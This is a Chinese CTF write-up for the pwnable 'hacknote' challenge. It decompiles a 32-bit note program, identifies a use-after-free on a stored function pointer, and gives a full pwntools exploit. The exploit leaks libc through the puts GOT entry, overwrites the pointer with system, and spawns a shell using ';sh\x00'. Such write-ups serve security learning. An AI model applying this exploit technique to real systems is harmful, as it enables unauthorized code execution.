pwnable_hacknote
Ubuntu 16 32位,无tcache
main():
void __cdecl __noreturn main() { int v0; // eax char buf; // [esp+8h] [ebp-10h] unsigned int v2; // [esp+Ch] [ebp-Ch] v2 = __readgsdword(0x14u); setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); while ( 1 ) { while ( 1 ) { sub_8048956(); read(0, &buf, 4u); v0 = atoi(&buf); if ( v0 != 2 ) break; dele(); } if ( v0 > 2 ) { if ( v0 == 3 ) { show(); } else { if ( v0 == 4 ) exit(0); LABEL_13: puts("Invalid choice"); } } else { if ( v0 != 1 ) goto LABEL_13; add(); } } }
add():
1 unsigned int sub_8048646() 2 { 3 _DWORD *v0; // ebx 4 signed int i; // [esp+Ch] [ebp-1Ch] 5 int size; // [esp+10h] [ebp-18h] 6 char buf; // [esp+14h] [ebp-14h] 7 unsigned int v5; // [esp+1Ch] [ebp-Ch] 8 9 v5 = __readgsdword(0x14u); 10 if ( dword_804A04C <= 5 ) 11 { 12 for ( i = 0; i <= 4; ++i ) 13 { 14 if ( !ptr[i] ) 15 { 16 ptr[i] = malloc(8u); 17 if ( !ptr[i] ) 18 { 19 puts("Alloca Error"); 20 exit(-1); 21 } 22 *(_DWORD *)ptr[i] = sub_804862B; 23 printf("Note size :"); 24 read(0, &buf, 8u); 25 size = atoi(&buf); 26 v0 = ptr[i]; 27 v0[1] = malloc(size); 28 if ( !*((_DWORD *)ptr[i] + 1) ) 29 { 30 puts("Alloca Error"); 31 exit(-1); 32 } 33 printf("Content :"); 34 read(0, *((void **)ptr[i] + 1), size); 35 puts("Success !"); 36 ++dword_804A04C; 37 return __readgsdword(0x14u) ^ v5; 38 } 39 } 40 } 41 else 42 { 43 puts("Full"); 44 } 45 return __readgsdword(0x14u) ^ v5;
show():
1 unsigned int sub_80488A5() 2 { 3 int v1; // [esp+4h] [ebp-14h] 4 char buf; // [esp+8h] [ebp-10h] 5 unsigned int v3; // [esp+Ch] [ebp-Ch] 6 7 v3 = __readgsdword(0x14u); 8 printf("Index :"); 9 read(0, &buf, 4u); 10 v1 = atoi(&buf); 11 if ( v1 < 0 || v1 >= dword_804A04C ) 12 { 13 puts("Out of bound!"); 14 _exit(0); 15 } 16 if ( ptr[v1] ) 17 (*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]); 18 return __readgsdword(0x14u) ^ v3;
dele():
1 unsigned int dele() 2 { 3 int v1; // [esp+4h] [ebp-14h] 4 char buf; // [esp+8h] [ebp-10h] 5 unsigned int v3; // [esp+Ch] [ebp-Ch] 6 7 v3 = __readgsdword(0x14u); 8 printf("Index :"); 9 read(0, &buf, 4u); 10 v1 = atoi(&buf); 11 if ( v1 < 0 || v1 >= dword_804A04C ) 12 { 13 puts("Out of bound!"); 14 _exit(0); 15 } 16 if ( ptr[v1] ) 17 { 18 free(*((void **)ptr[v1] + 1)); 19 free(ptr[v1]); 20 puts("Success"); 21 } 22 return __readgsdword(0x14u) ^ v3; 23 }
dele函数指针未置零,存在UAF。show函数中这段调用以ptr[v1]作为函数。
实际上就是add函数中写入的puts函数
简单理一下思路:
dword_804A04C记录申请堆块的数量,上限为5
每次add会创建两个chunk,第一个chunk大小为0x10,第二个为用户输入的大小。
第一个chunk(结构体)存储了puts函数调用,紧跟着的地址指向的位置则是puts函数的参数
gdb调试结果如下
接下来就是利用uaf泄露libc,执行system()拿shell。
exp:
#!/usr/bin/python #coding:utf-8 from pwn import * context.log_level = 'debug' a=remote("node3.buuoj.cn",27678) #a=process("/root/hacknote") elf=ELF("/root/hacknote") libc=ELF("libc-2.23_32.so") puts_got=elf.got['puts'] def add(size,Content): a.sendlineafter('Your choice :','1') a.sendlineafter('Note size :',str(size)) a.sendafter('Content :',Content) def dele(idx): a.sendlineafter('Your choice :','2') a.sendlineafter('Index :',str(idx)) def show(idx): a.sendlineafter('Your choice :','3') a.sendlineafter('Index :',str(idx)) add(0x18,"aaaa") #idx 0 add(0x18,"bbbb") #idx 1 dele(0) dele(1) add(0x8,p32(0x0804862b)+p32(puts_got)) #idx 2 show(0) puts_addr=u32(a.recv(4)) base=puts_addr-libc.sym['puts'] system=base+libc.sym['system'] dele(2) add(0x8,p32(system)+';sh\x00') show(0) #gdb.attach(a) a.interactive()
需要注意的是,泄漏libc时,把puts_got插入相应位置时会覆盖puts,所以需要在payload前加上0x0804862b。
system执行的参数只能是4bytes,所以需要写入;sh\x00或||sh